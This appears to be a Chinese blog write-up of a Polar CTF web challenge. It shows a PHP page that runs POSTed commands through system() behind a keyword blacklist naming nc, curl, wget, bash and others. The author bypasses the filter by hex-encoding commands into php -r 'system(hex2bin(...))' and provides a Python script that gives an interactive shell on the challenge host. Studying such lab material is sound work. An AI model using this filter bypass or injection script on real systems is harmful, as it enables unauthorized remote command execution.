Polar Web【中等】你知道sys还能这样玩吗

Polar Web【中等】你知道sys还能这样玩吗

思路&探索

本题属实是有些…即使提示了sys也难以迅速想到 /sys.php 这个路径,然后继续分析:

  1. 进入这个路由内,可看到下面所示的源码,可见该程序所做的过滤量较为大,因此常规方法难以处理,但可发现并未过滤引号,可以尝试用引号的绕过,不过本文采用的是指令十六进制编码绕过的方式
  2. 另外考虑了使用 php -r 'system();' 方式来触发指令,其中传入指令的十六进制字符串,具体测试过程可见后文
  3. 经过测试发现页面反馈了指令执行结果,找到 flag.txt 位于根目录,构造查看指令转进制传入,获取 flag
  • 本文通过脚本方式进行破解,详见后文

源码

<?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
    echo "<pre>";
    $cmd = $_POST['cmd'];
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
        $output = system($cmd);
        echo $output;
    }
    echo "</pre>";
}
?>

EXP

PHP测试生成十六进制化的命令

<?php
    $cmd = 'ls';
    $a = bin2hex($cmd);
    echo $a."\n";
?>
  • ls的十六进制串
    php
上传测试
  • 上传 ls 指令的返回结果
    ls

Python 脚本

from requests import post, get
import binascii


def attack(url, pl):
    data = {
        'cmd': pl,
    }
    resp = post(url, data).text
    if resp:
        print(resp)
    else:
        print("Nothing...")


if __name__ == '__main__':
    u = 'http://~.www.polarctf.com:8090/sys.php'
    while True:
        cmd = input(">> ")
        if cmd == 'quit':
            break
        cmd = binascii.hexlify(cmd.encode()).decode()
        print(cmd)
        cmd = "php -r \'system(hex2bin(\"" + cmd + "\"));'"
        attack(u, cmd)

运行&总结

ls
run

  • 单语句PHP语句执行指令 —— php -r
  • 在python中将原字符串转为十六进制字符串的方法 —— binascii







敬,不完美的明天
  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_廿_尘

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值